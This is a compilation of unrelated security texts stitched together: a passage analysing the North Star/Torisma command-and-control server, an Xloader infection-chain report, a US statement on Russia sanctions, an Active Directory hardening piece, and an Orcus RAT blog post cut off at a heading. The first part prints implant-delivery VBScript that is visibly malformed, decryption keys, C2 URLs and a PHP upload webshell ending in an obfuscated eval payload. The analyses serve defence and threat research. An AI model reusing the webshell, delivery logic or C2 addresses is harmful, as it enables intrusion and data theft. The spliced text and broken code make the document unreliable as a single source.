The following function (ipopk) is set to read from a file that stores hashed IPs and will be used later in a conditional block statement. The code below will open and read a file; if there is no data, the flag for ipok will result in 0; if there is data, then the resulting value will be 1.
```vbscript
function ipok(hashfile, stripaddr)
on error resume next
dim fso, fs, linedata
set fso = server.createobject(“scripting.filesystemobject”)
set fs = fso.opentextfile(hashfile, 1, true)
ipok = 0
do until fs.atendofstream
linedata = lcase(fs.readline)
if len(linedata) > 0 and instr(stripaddr, linedata) then ipok = 1
exit do
end if loop
fs.close
set fs = nothing
end function
```
The following code is the logic to determine if an infected victim should receive the Torisma implant. A series of cases are used to make the decision depending on specific conditions as depicted in the code. Below the cases are explained:
- If the victim’s IP address is on the allow-list, and the OS architecture bit value is “1” (resembling 64 bits), the Torisma 64 bits version implant will be sent to the victim and in the log file the term “case_1_64” is written behind the victim, meaning 64 bit version of the Torisma implant sent.
- Same for the second case but now for a 32-bit version OS (value 0) and the term “case_1_86” is written, meaning 32-bit implant version of Torisma sent.
- If the IP address of the victim is on the block list with either 32/64 bit OS architecture, a non-sense payload called “doris_x86” or “doris_x64” will be sent to the victim. For example, in our case this was the value for “doris_x86”: DoriS_x86=”ddddddd”.
- If condition “24” is returned from the victim, a log entry is written with value “case_3” and no implant sent and an HTTP response status of 405 is sent.
- If neither of the above conditions are met, “case_4” is written in the log-file, no implant sent and again an HTTP response status of 405 is sent.
An HTTP 405 response code indicates that the request method is known by the server but is not supported by the target resource.
```vbscript
if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then
r = writeline(strlogpath, “case_1_64 “)
strresdata = strbase64_torisma_x64
else if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then
r = writeline(strlogpath, “case_1_86 “)
strresdata = strbase64_torisma_x86
else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then
r = writeline(strlogpath, “case_2_64 “)
strresdata = strbase64_doris_x64
else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then
r = writeline(strlogpath, “case_2_86 “)
strresdata = strbase64_doris_x86
else if instr(strcondition, “24 “) > 0 then
r = writeline(strlogpath, “case_3 “)
response.status = “405”
else
r = writeline(strlogpath, “case_4 “)
response.status = “405”
end
```
**Logic to Deliver 2nd Stage Implant to Victim**
Inside the Torisma Implant
One of the primary objectives of Operation North Star from what we can tell is to install the Torisma implant on the targeted victim’s system based on a set of logic. Further, the end goal is executing custom shellcode post Torisma infection, thus running custom actions depending on the specific victim profiles. As described earlier, Torisma is delivered based on data sent from the victim to the command and control server. This process relies on the first stage implant extracted from the VB macro embedded in the DOTM file.
**General Process Flow and Component Relationship**
Further, Torisma is a previously unknown 2nd stage implant embedded in the server-side ASP page as a base64 encoded blob. Embedded is a 64 and 32-bit version and depending on the OS architecture flag value sent by the victim will determine what version is sent. Further, this implant is loaded directly into memory as a result of interaction between the victim and the command and control server. The adversary went to great lengths to obfuscate, encrypt, and pack the 1st and 2nd stage implants involved in this specific case.
Once Torisma is decoded from Base64, the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself; rather, it relies on decryption logic contained within the first stage implant. The decryption key exists in an encrypted configuration file, along with the URL for the command and control server. This makes recovery of the implant more difficult if the compromised server code were to be recovered by incident responders. The decryption method is performed by the first stage implant using the decryption key stored in the configuration file; this key is a static 32-bit AES key. Torisma can be decoded with a decryption key `78b81b8215f40706527ca830c34b23f7`. Further, after decrypting the Torisma binary, it is found to also be packed with lz4 compression giving it another layer of protection. Once decompressing the code, we are now able to analyze Torisma and its capabilities giving further insight into Operation North Star and the 2nd stage implant.
The variant of the implant we analyzed was created on 7/2/2020; however, given that inc-controller-news.asp was placed on the C2 in early 2020, it indicates the possibility of multiple updates. Based on the analysis, Torisma is sending and receiving information with the following URLs:
- hxxps://www.fabianiarte.com/newsletter/arte/view.asp
- hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
- hxxp://scimpex.com:443/admin/assets/backup/requisition/requisition.php
**Encrypted Configuration File**
Torisma also uses encrypted configuration files just as with the 1st stage implant to indicate what URLs it communicates with as a command and control, etc.
**Decrypted Configuration File**
The configuration file for Torisma is encrypted using the algorithm VEST in addition to the communication sent over the C2 channel. From our research, this encryption method is not commonly used anywhere; in fact, it was a proposed cipher that did not become a standard to be implemented in general technologies.
Further, the FOUND002.CHK file recovered from the backend is used to update the configuration and contains just URLs with .php extension. These URLs have pages with a .php extension, indicating that some of the backend may have been written in PHP. It’s unclear what the role of the servers with .PHP pages have in the overall attack. Though we can confirm based on strings and functions in Torisma that there is code designed to send and receive files with the page view.asp. This view.asp page is the Torisma implant backend from what our analysis shows here. Later in this analysis, we cover more on view.asp; however, that page contained basic functionality to handle requests, send and receive data with an infected victim that has the Torisma implant.
**Main Functionality**
According to our analysis, the Torisma code is a custom developed implant focused on specialized monitoring. The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2.
**Information Gathering Loop**
The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo.
1. If monitoring is disabled, just return.
2. Else call the code that does the monitoring and upon completion temporarily disable monitoring.
3. When run, the monitoring will be executed for a specified amount of time based on a configuration value.
4. Upon return of the monitoring function, the code will proceed to command and control communication.
5. If there is repeated failure in communication, the implant will force monitoring for 1hr and then retry the communication.
6. Repeat forever.
**Triggering Monitoring Based on Configuration**
The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo.
1. The code will execute on a loop, until either enough time has elapsed (end time passed a parameter) or an event of interest occurred.
**Monitoring Loop**
1. It will monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS). If either occur, a status code will be set (5. New drive, 6. New RDS session) and the monitoring loop stops.
**Drive Tracking**
a. It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter.
b. It will also use GetDriveType to make sure the new drive is not a CD-ROM drive.
**Check Drive Type**
1. It keeps track of the number of drives previously seen and will return 1 if the number has increased.
**RDP Session Tracking**
The RDP session tracking function operates the same as the drive tracking. If the number increases by one, it then returns 1. It uses WTSEnumerateSessionsW to get a list of sessions, iterates through them to count active ones.
**Command and Control Communication**
The C2 code is interesting and is a custom implementation. The general process for this protocol is as follows:
1. Generates a connection ID that will be kept throughout this step as a hex string of five random bytes for each module (0x63) and random seeded with the output of GetTickCount64.
2. Next, it loads a destination URL.
- There are three available servers hardcoded in the implant as an encrypted blob.
- The decryption is done using a VEST-32 encryption algorithm with the hardcoded key `ff7172d9c888b7a88a7d77372112d772`.
3. A random configuration number is picked (mod 6) to select this configuration.
4. There are only 3 configurations available; if the configuration number picked is above 3, it will keep incrementing (mod 6) until one is picked. Configuration 0 is more likely to be chosen because of this process.
**Code to Pick Configurations**
1. It will send a POST request to the URL it retrieved from the configuration with a “VIEW” action. It builds a request using the following hardcoded format string:
`post => ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d`
With:
`PAGE=drive_count`
`CODE=RDS_session_count`
`CACHE=base64(blob)`
`Request=Rand()`
`blob: size 0x43c`
`blob[0x434:0x438] = status_code`
`blob[0x438:0x43c] = 1`
`blob[0:0x400] = form_url`
`blob[0x400:0x418] = mac_address`
`blob[0x418:0x424] = connection_id (random)`
`blob[0x424:0x434] = “MC0921” (UTF-16LE)`
The process will be looking for the return of the string "Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}" to indicate success.
1. If successful, it will retrieve data from the C2 via a POST request, this time it will use the PREVPAGE action.
- It uses the following format string for the POST request:
`ACTION=PREVPAGE&CODE=C%s&RES=%d`
With:
`CODE = connection_id (from before)`
`RES = Rand()`
The reply received from the server is encrypted. To decrypt it, the following process is needed:
1. Replace space with +.
2. Base64 decode the result.
3. Decrypt the data with key `ff7172d9c888b7a88a7d77372112d772`.
4. Perform a XOR on the data.
**Campaign Identification**
One way the adversary keeps track of what victims are infected by what version of the first stage implant is by using campaign IDs. These IDs are hard coded into the VB macro of the template document files that are retrieved by the first stage maldoc. They are sent to the backend server through the NED parameter as covered earlier; further, they are read and interpreted by the ASP code.
**Victimology**
According to the raw access logs for Inc-Controller-News.asp, it is possible to understand what countries were impacted and it matches with the logs we discovered along another .asp page (view.asp), which we will explain later in the document. Based on one of C2 log files, we could identify the following about the victims:
- Russian defense contractor
- Two IP addresses in two Israeli ISP address spaces
- IP addresses in Australian ISP space
- IP address in Russian ISP address space
- India-based defense contractor
**Template-letter.asp**
During our investigation, we uncovered additional information that led to the discovery of additional ASP pages. One ASP page discovered on the same compromised command and control server contained interesting code. First, this ASP page is encoded in the same method using VB.Encode as we observed with the code that delivers the Torisma implant. Second, it appears that the code is part of the core backend managed by the attacker and had the original file name of board_list.asp. Based on in the wild submission data, the file board_list.asp first appeared in Korea in October 2017; this suggests that this code for this webshell has been in use since 2017.
Further, this ASP page is a custom webshell that according to our knowledge and sources is not an off-the-shelf common webshell, rather something specifically used in these attacks. Some of the actions include browsing files, executing commands, connecting to a database, etc. The attacker is presented with the login page and a default base64 encoded password of ‘venus’ can be used to login.
**Template-Letter.ASP Main Page**
**VIEW.ASP - Torisma Backend**
The View.ASP file is equally important as the inc-controller-news.asp file and contains interesting functionality. This ASP page is the backend code for the Torisma implant, and the functions are intended to interact with the infected victim. The view.asp file contains the following references in the code:
The file “FOUND001.CHK” contains a “logfile” as the CONST value name possibly refers to “logvault”. Analyzing the possible victims revealed an interesting list:
- Russia-based defense contractor
- Two IP addresses in two Israeli ISP address spaces
- IP address in Russian ISP address space
- India-based defense contractor
The file “FOUND002.CHK” contains a Base64 string that decodes to:
`hxxps://www.krnetworkcloud.org/blog/js/view.php|www.krnetworkcloud.org|2|/blog/js/view.php|NT`
The above domain was likely compromised to host malicious code, given it belongs to an Indian IT training company. The Const value name for “FOUND002.CHK” is “cfgvault”; the first three letters might refer to “configuration”. This ASP code contains additional functions that may indicate what role this page has in the overall scheme of things. View.asp is the Torisma implant backend code with numerous functions implemented to handle requests from the implant as described earlier in this analysis. Based on our analysis of both the Torisma implant and this backend code, some interesting insight has been discovered. First, implemented in the ASP code are the general actions that can be taken by this backend depending on the interaction with Torisma.
Some of these actions are triggered by the implant connecting and the others may be invoked by another process. The main ASP page is implemented to handle incoming requests based on a request ACTION with several possible options to call. Given that the implant is driven by the “ACTION” method when it comes to the C2 communication, a number of these cases could be selected. However, we only see code implemented in Torisma to call and handle the request/response mechanism for NEXTPAGE and PREVPAGE; thus, these other actions are likely performed by the adversary through some other process.
**General Actions by View.ASP**
**ViewPrevPage**
As described in the analysis, the ViewPrevPage action is a function designed to handle incoming requests from Torisma to get data. The data sent to Torisma appears to be in the form of ~dmf files. This content for the ViewPrevPage action comes in the form of shellcode intended to be executed on the victim side according to the analysis of the implant itself.
**ViewPrevPage Function**
**ViewNextPage**
Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function.
**Implant Sends Data to C2**
**ViewGallery**
There is no function in Torisma implemented to call this function directly; this is likely called from another administration tool, probably implemented in the upstream server. A static analysis of this method reveals that it is likely intended to retrieve log files in a base64 encoded format and write the response. Like the Torisma implant, there is a response string that is received by the calling component that indicates the log file had been retrieved successfully and that it should then delete the log file.
**Retrieve and Write Log File Content in Base64 Format (ViewGallery)**
**ViewMons**
Another function also not used by Torisma is intended to set the local configuration file. It appears to use a different request method than ACTION; in this case, it uses MAILTO. Based on insight gathered from Torisma, we can speculate this is related to configuration files that are used by the implant.
**ViewMons Function**
**SendData**
This function is used in the RedirectToAdmin method exclusively and is the mechanism for sending data to the upstream C2. It depends on the GetConfig function that is based on the stored value in the cfgvault variable.
**Send Data**
**RedirectToAdmin**
This function is used to redirect information from an infected victim to the master server upstream. This is an interesting function indicating additional infrastructure beyond the immediate C2 with which we observed Torisma communicating.
**RedirectToAdmin**
**WriteAgentLog**
As part of the process of tracking victims with Torisma, the ASP code has a function to write log files. These resulting log files indicate success for the execution of shellcode on victims running Torisma. This logging method captures the user agent and IP address associated with the victim being monitored. This function is called when the information is sent to the master server via the RedirectToAdmin method.
Analysis of the server logs indicates the following countries made connections to the View.ASP page in July 2020:
- India
- Australia
- Israel
- Finland
**Webshells**
During our analysis, we were able to determine that in some instances the attacker used webshells to maintain access. Discovered on another compromised server by the same actor with the same type of code was a PHP Webshell known as Viper 1337 Uploader. Based on our analysis, this is a modified variant of Viper 1337 Uploader.
```php
<title>Viper 1337 Uploader</title>
<?php
echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’;
echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’;
if( $_POST[‘_upl’] == “Upload” ) {
if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Shell Uploaded ! :)<b><br><br>’; }
else { echo ‘<b>Not uploaded ! </b><br><br>’; }
}
?>
<?php
eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VS
?>
```
Some additional log file analysis reveals that a DOTM file hosted with a JPG extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address, Microsoft+Office+Existence+Discovery indicates that the DOTM file in question was downloaded from within Microsoft Office (template injection).
**Attacker Source**
According to our analysis, the attacker accessed and posted a malicious ASP script “template-letter.asp” from the IP address `104.194.220.87` on 7/9/2020. Further research indicates that the attacker is originating from a service known as VPN Consumer in New York, NY.
**Snipped from Log File Showing Attacker IP 104.194.220.87**
From the same log files, we observed the following User Agent String:
“Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”
Decoding the User Agent string, we can make the following statement: The attacker is using a 64-bit Windows 10 platform and Office 2016. The Office version is the same as we observed in the creation of the Word documents as described in our document analysis part of Operation North Star.
**Conclusion**
It is not very often that we have a chance of getting the C2 server code pages and associated logging in our possession for analysis. Where we started with our initial analysis of the first stage payloads, layer after layer we were able to decode and reveal, resulting in unique insights into this campaign. Analysis of log files uncovered potential targets of which we were unaware following our first analysis of Operation North Star, including internet service providers and defense contractors based in Russia and India.
Our analysis reveals a previously unknown second stage implant known as Torisma which executes a custom shellcode, depending on specific victim profiles, to run custom actions. It also illustrates how the adversary used compromised domains in Italy and elsewhere, belonging to random organizations such as an auction house and printing company, to collect data on victim organizations in multiple countries during an operation that lasted nearly a year.
This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring. Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.
Our findings ultimately provide a unique view into not only how the adversary executes his attacks but also how he evaluates and chooses to further exploit his victims. |
# Xloader Returns with New Infection Technique
**July 1, 2022**
## Multistage Delivery of Malware Using Steganography
During our routine threat-hunting exercise, Cyble Research Labs came across a Twitter post wherein a researcher mentioned an interesting infection chain of Xloader malware. The malware uses multiple file types such as PDF, XLSX, and RTF for its initial infection and execution. It is also designed to drop three modules in memory and execute the final payload using the Process-Hollowing technique. Additionally, the malware uses steganography to hide its malicious content in a bitmap file.
Xloader is a rebranded version of the Formbook stealer. It is designed as a malicious tool to steal credentials from different web browsers, collect screenshots, monitor and log keystrokes from the victim’s machine, and send them to Command and Control (C&C) server. Typically, Xloader spreads via spam emails that trick victims into downloading a malicious attachment file, such as MS Office documents, PDF documents, etc.
This blog showcases the deep-dive analysis of the malware infection, starting with a spam email containing a PDF attachment to deliver the final payload of Xloader malware.
Upon opening a PDF file, it drops the embedded XLSX file named “has been verified.” However, it uses multiple extensions of different file formats to trick the user. Upon execution of the XLSX file, it downloads the RTF document file from the URL – hxxps://[email protected]/Nmtw. When the RTF document is opened, MS Word’s equation editor (EQNEDT32.exe) will automatically launch and download a .NET malware file from the URL – hxxp://192.227.173.33/71/vbc.exe.
The .NET executable file named “vbc.exe” is downloaded from the RTF document via equation editor vulnerability (CVE-2017-11882) and is an obfuscated binary file.
## Technical Analysis
We have taken the sample hash (SHA256), d0c85ba5e6d88e1e0b5f068f125829b4e224b90be2488f2c21317447dc51fb9e for our analysis. It is a 32-bit, .NET executable file named “vbc.exe.” Upon execution of the vbc.exe file, the method Convert.FromBase64String() in the Main() function decodes the base64 string content and returns a new PE file.
After decoding the base64 content, vbc.exe loads the converted PE module named “Bunifu.UI.dll” into memory by using a dynamically invoked function with passing arguments of strings such as “Invoke” and “Bunifu_TextBox.” The module “Bunifu.UI.dll” is also an obfuscated .NET file. The main purpose of “Bunifu.UI.dll” is to decompress the bitmap image from a resource using the “GZipStream” class.
The malware uses the steganography technique to hide malicious content in the compressed bitmap image embedded in the resource of the parent malware file vbc.exe. The successful decompression of the bitmap image retrieves another .NET file in memory. The “Bunifu.UI.dll” module loads the new binary using the Assembly.Load method by passing the decompressed bitmap content as an argument.
The new file decompressed from the resource is another obfuscated .NET binary titled “MajorRevision.exe.” Upon execution of the “MajorRevision.exe” module, it first creates a mutex named “fBEQVtAy” to ensure that only one instance of malware runs on the victims’ system. The malware exits if the mutex is already present.
Next, it converts the larger array of bytes present in the module into HEX values. It contains multiple Anti-Analysis and Anti-Detection checks to prevent the execution of the malware in a controlled environment. After that, it retrieves the final payload in memory by converting another larger array of bytes which is also present in the “MajorRevision.exe.” Finally, it injects the payload by creating a new process with the parent file name (“vbc.exe”) using the process hollowing technique.
The file information of the final malware payload, “Xloader,” is a 32-bit, MASM compiled binary with only the “.text” section. Xloader malware uses the magic bytes “XLNG.” Upon successful execution, Xloader drops an executable file in the following location and injects it into explorer.exe:
```
C:\Program Files (x86)\L9rql\winmrhl7bm.exe
```
To establish persistence, the malware creates the below registry key for autorun to execute the dropped malware file when the user logs in to the system every time:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\J8TPYFN8OVE = "C:\\Program Files (x86)\\L9rql\\winmrhl7bm.exe"
```
Finally, after a successful connection to the Threat Actor’s C&C server, Xloader can be instructed to download and launch additional payloads, terminate and uninstall the malware, etc. Additionally, Xloader steals user credentials or cookies from browsers, logs keystrokes, steals clipboard content, takes screenshots, and sends them to the TA’s C&C server.
## Conclusion
Information stealers are evolving as increasingly sophisticated threats in the cybercrime ecosystem. They can cause severe damage to individuals and organizations in the case of privacy violations, confidential information leakage, etc. Exploiting the human element is often easier for Threat Actors compared to exploiting complex vulnerabilities. Throughout our analysis, we have observed that Xloader looks like a prominent malware variant that is constantly updated by improving its code which adds new features, more obfuscation, the use of anti-analysis techniques, etc.
Cyble Research Labs will closely monitor Xloader malware and other information stealers and analyze them to understand their TTPs better and update our readers accordingly.
## Our Recommendations
- Avoid downloading pirated software from unverified sites.
- Use strong passwords and enforce multi-factor authentication wherever possible.
- Keep updating your passwords after certain intervals.
- Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile.
- Refrain from opening untrusted links and email attachments without first verifying their authenticity.
- Block URLs that could be used to spread the malware, e.g., Torrent/Warez.
- Monitor the beacon on the network level to block data exfiltration by malware or TAs.
- Enable Data Loss Prevention (DLP) Solutions on employees’ systems.
## MITRE ATT&CK® Techniques
| Tactic | Technique ID | Technique Name |
|------------------------|--------------|-----------------------------------------|
| Initial Access | T1566 | Phishing |
| Execution | T1204 | User Execution |
| | T1203 | Exploitation for Client Execution |
| Persistence | T1547 | Registry Run Keys / Startup Folder |
| Defence Evasion | T1497 | Virtualization/Sandbox Evasion |
| Credential Access | T1552 | Credentials In Files |
| Lateral Movement | T1021 | Remote Services |
| CNC | T1071 | Application Layer Protocol |
## Indicator Of Compromise (IOCs)
| Indicators | Indicator | Description |
|------------|-----------|------------------|
| | afa05a84f53f793fdad59d8af603b497 | MD5 - Spam email |
| | bdbc99cb9698f3754dea53bb192e650b2f0c203c | SHA1 |
| | 9d3c9168bc5d52c0372f31565bf2ec690a39cfd52bc76d0ef01083e419da805b | SHA256 |
| | 96d95ee6d0c9da16d245579ad1ff2e9f | MD5 - PDF |
| | f852ac58b11e6b314271e2afdd33da84fc3cb8d8 | SHA1 |
| | 6d45a03b32c4a9bab48c75bec8443b5af40ae43e055db77796a6328cb6e87ffe | SHA256 |
| | 2fc6db5b63ba91752b946d76b803a4a9 | MD5 - XLSX |
| | 45982471aca75de846442d16c84c5b61caa6c045 | SHA1 |
| | 30d5632ef75e81aa6a48eae64f2155acc39e64f6367a5c6152e8ec74b44ac6de | SHA256 |
| | e5cde34f443cab2ebecf850518d0aeeb | MD5 - RTF |
| | 375ecc13e71755cc4ab260f518207892e87c55e3 | SHA1 |
| | d106de4854f334b826f7ed6e97b02eff34e8ab8ea956d461d67c4225792185a1 | SHA256 |
| | 1f65d7826fbcc2d6c50f6c493c901588 | MD5 - Obfuscated |
| | 4290f6b300595e807e8cacd5ff172b0a0f37c845 | SHA1 - .NET exe |
| | d0c85ba5e6d88e1e0b5f068f125829b4e224b90be2488f2c21317447dc51fb9e | SHA256 - Main file |
| | a0dc449956fd7eefaeb204d66b668330 | MD5 - De-obfuscated |
| | 76b958e128a7f2dd052634d5e7dfbf2f67f20ae9 | SHA1 - obfuscated |
| | 50204673d080635b23b8f219a70e276acd3dd3779543fbd4b82a217c06dc14fb | SHA256 - .NET exe Main file |
| | 39f524c1ab0eb76dfd79b2852e5e8c39 | MD5 - Obfuscated |
| | 428018e1701006744e34480b0029982a76d8a57d | SHA1 - .NET exe |
| | 79823e47436e129def4fba8ee225347a05b7bb27477fb1cc8be6dc9e9ce75696 | SHA256 - Stage 1 |
| | bc31d889dd60360d38796521b452d775 | MD5 - De-obfuscated |
| | 7e52c29418bd13c749da76506251ad3ad291d06c | SHA1 - obfuscated |
| | 32abba85bb16f812822c789882e37cd37c62e15ea0aceade45eaad1d93ff012a | SHA256 - .NET exe Stage 1 |
| | 73aac8ac5dc4ded42398f9fe2a191c19 | MD5 - Obfuscated |
| | 4f3ed7fa592f4ae4c4462928543dcbd4997f2549 | SHA1 - .NET exe |
| | 6672b26a03db7ec5d61e90ce7827c422cb6a8a942cc1c77f92f97e263a35d8e5 | SHA256 - Stage 2 |
| | 0227a4419e2948a886a2e324180f23e6 | MD5 - De-obfuscated |
| | 43c1ee78411b939e19688ff9ea9ebc433d9051a1 | SHA1 - obfuscated |
| | c7b2597253067c1169aeef5e04948575bf7df65e1787098cc9afc2e10685acdf | SHA256 - .NET exe Stage 2 |
| | 7d4539bd445cf9821fd2e05dc0b1107e | MD5 - Final |
| | 964e56a5e1f32101f04fa3fc62ec17c66b3c174e | SHA1 - payload |
| | 3b65b859612be75eb528caf7b0cc66bc049fdfb062b6b6aa29ea9c356114a4fe | SHA256 - MASM exe |
| | hxxps://[email protected]/Nmtw | URL - download RTF file from C&C |
| | hxxp://192.227.173.33/71/vbc.exe | URL - Download EXE file from C&C | |
# Holding Russia To Account
Today, we announced actions to hold the Russian Government to account for the SolarWinds intrusion, reports of bounties on U.S. soldiers in Afghanistan, and attempts to interfere in the 2020 U.S. elections.
We have engaged Russian authorities to share our concerns about their actions and the steps we are taking in response. The President is signing a new Executive Order on Russia that will broaden the scope of our sanctions authorities. Under this new Executive Order, the U.S. Department of the Treasury is issuing a directive prohibiting U.S. financial institutions from conducting transactions in the primary market for new ruble or non-ruble denominated bonds issued after June 14, 2021. This Executive Order also provides authority for the U.S. Government to expand sovereign debt sanctions on Russia as appropriate.
The U.S. Department of State is also expelling 10 officials from Russia’s bilateral mission. In addition, the U.S. Department of the Treasury is announcing sanctions against entities and individuals involved in election interference and against companies that support the malign activities of the Russian intelligence services responsible for the SolarWinds intrusion and other recent cyber incidents. These sanctions will serve to reduce Russian resources available to carry out similar malign activities.
In addition, together with partners and allies, on March 2 the U.S. responded to Russia’s attempt to poison Aleksey Navalny using a chemical weapon and his subsequent arrest and imprisonment. We remain concerned about Navalny’s health and treatment in prison and call for his unconditional release.
These actions are intended to hold Russia to account for its reckless actions. We will act firmly in response to Russian actions that cause harm to us or our allies and partners. Where possible, the United States will also seek opportunities for cooperation with Russia, with the goal of building a more stable and predictable relationship consistent with U.S. interests.
Additionally, the State Department is taking steps to bolster cybersecurity partnerships internationally, including by providing a new training course with partners on the policy and technical aspects of publicly attributing cyber incidents and by supporting trainings on responsible state behavior in cyberspace. |
# How to Protect Active Directory Against Ransomware Attacks
Ransomware attacks every type of organization from every angle, and Active Directory (AD) remains a common target. Stop privilege escalation by fixing these key AD and group policy misconfigurations.
Ransomware has struck every type of organization around the world. It's changed dramatically, too, entering the enterprise from nearly every angle, with attackers leveraging stolen data by posting it on the internet to force victims to pay. In most cases, Active Directory is targeted so the attacker can easily distribute the ransomware after obtaining domain privileges. There are, however, ways to help secure Active Directory to prevent ransomware from succeeding.
Distinct areas within Active Directory can be secured, which will increase the overall security of the enterprise and reduce the security risk at the same time. Specifically, the following settings around AD objects can be secured:
- Misconfigurations of user attributes need to be fixed
- Misconfigurations of groups need to be fixed
- Privileged groups need to be cleaned up
- AD processes need to have correct configurations (e.g., SDProp)
- Service principal names (SPNs) need to be secured
- Trust relationships need to be correct and secured
- SidHistory attribute needs to be cleaned up for users
In addition, AD itself and group policy can be secured to ensure the attacker can't leverage misconfigurations and areas where privilege escalation can be achieved:
- AD trusts need to be verified and secured
- AD delegations need to be cleaned up
- Group policy delegations need to be cleaned up
- Group policy structural components need to be secured
- Security settings deployed by group policy objects need to be enabled
Finally, attackers want to gain privileges. Once privileges are obtained, they want to create backdoors. Being able to detect these types of AD attacks is essential. Below are some of the actions AD admins and security pros can take to disrupt attack paths:
- Ensure privileged group membership is monitored
- Detect DCShadow and DCSync attacks
- Golden Ticket attacks
- Detect lateral movement attacks
- Detect dangerous SIDHistory and PrimaryGroupID settings
Technology is available to continuously and automatically analyze and detect AD security and attack paths. |
# Orcus – Birth of an Unusual Plugin Builder RAT
**By Vicky Ray**
**August 2, 2016**
**Category:** Malware, Threat Prevention, Unit 42
**Tags:** Orcus, RAT, Schnorchel, Sorzus, Windows
Unit 42 has been tracking a new Remote Access Trojan (RAT) being sold for $40 USD since April 2016, known as “Orcus”. Though Orcus has all the typical features of RAT malware, it allows users to build custom plugins and also has a modular architecture for better management and scalability. The objective of this blog is to highlight some of the capabilities of this new RAT family and the impact seen so far.
## Background
Before we discuss the details of this RAT family, let's discuss how Orcus became a commercially sold RAT. Around October 2015, the developer of Orcus, going with the alias of “Sorzus”, posted a thread on a hacker forum about a RAT he was developing, soliciting feedback on how it could be published. The developer had then named the tool as “Schnorchel”, German for “Snorkel”.
The figure below shows the early versions of Orcus when it was being developed. It is interesting to see that the developer details mentioned on the earlier version indicates "Vincent (Alkalinee)", and we are also aware that 'Alkalinee' was the alias which was being used by the developer before taking the new alias of 'Sorzus'. This also suggests that the real name of the Orcus developer may be 'Vincent'.
The developer had shared intentions to publish the RAT for free and make it open-source. However, some of the users in the forum responded, advising to make it commercial instead of sharing it for free or making it open source, citing that the source code would eventually be used by others to repackage and sell it as a new RAT. One forum user, alias "Armada", offered to assist "Sorzus" on helping out with publishing the tool and apparently became Sorzus' eventual partner.
"Sorzus" and "Armada" are believed to be the two main individuals currently managing the sales and development of Orcus. Our analysis suggests that 'Sorzus' is the main developer of the RAT and 'Armada' is mostly responsible for sales and support of the tool.
## Architecture
Orcus is developed using C# with the Windows administration/controller component developed using WPS (Windows Presentation Foundation), which is used to render user interfaces in Windows based systems. Orcus has three main components to its architecture: Orcus controller, Orcus Server, and the trojan binary which is deployed on a victim machine.
The delivery vectors vary, ranging from a spear phishing attack using the malware binary with the email, having a hyperlink with a download link to the Orcus malware binary, or even using drive-by download methods.
In most RAT malware, once a victim has been infected, the malware connects back to the admin panel of the attacker to send data and provide control to the infected machine. However, if a victim machine is infected with an Orcus RAT, it connects back to the Orcus server which does not have the admin panel on it. Orcus has a separate component for the admin panel (Orcus controller) which enables control of all infected machines from the Orcus controller. This setup offers multiple benefits to the cyber criminals using Orcus. For example, they are able to share access to victim machines by accessing a single Orcus server which would enable a group of cyber criminals working together to better manage their infected victim networks and also allow scalability of their Orcus network by deploying multiple ‘Orcus servers’.
The developer not only has a controller build for Windows, but also created an Android app for the admin controller to control the infected machines using an Android device. An Android app for the controller/administration component is also available from Google Play.
## Unique Features
Below are some Orcus features that can enable full control of a victim machine:
- Keylogger
- Screengrabs
- Remote code execution
- Webcam monitor
- Disable webcam light
- Microphone recorder
- Remote administration
- Password stealers
- Denial of Service
- VM Detection
- InfoStealer
- HVNC
- Reverse Proxy
- Registry explorer/editor
- Real Time Scripting
- Advanced Plugin System
Orcus has many common features of a RAT; however, the features which are unique and stand out the most are the ‘Plugin System’ and 'Real-time scripting'. The plugin feature allows users of Orcus to build their own plugins or download plugins which have been developed by the author. If a user has basic knowledge of one of the supported programming languages, which are C#, VB.Net, or C++, that user can easily extend and write plugins to build on to the current capabilities of Orcus. The author also provides a developer package to create the plugins with an IDE (Integrated Development Environment), which is an application used by programmers to develop programs.
The Orcus sellers also provide very well-documented tutorials to create plugins and maintain a GitHub page which has a few sample plugins created. Orcus allows seven different types of plugins to be created.
The libraries are well documented and are currently being hosted on 'sharpdox.de'. Sharpdox is a tool to create C# code documentations and can be hosted on 'sharpdox.de'.
The Real Time scripting feature allows Orcus users to write and execute code (C#, VB.Net) in real time while remotely managing the compromised system.
## Analysis: Orcus Protections
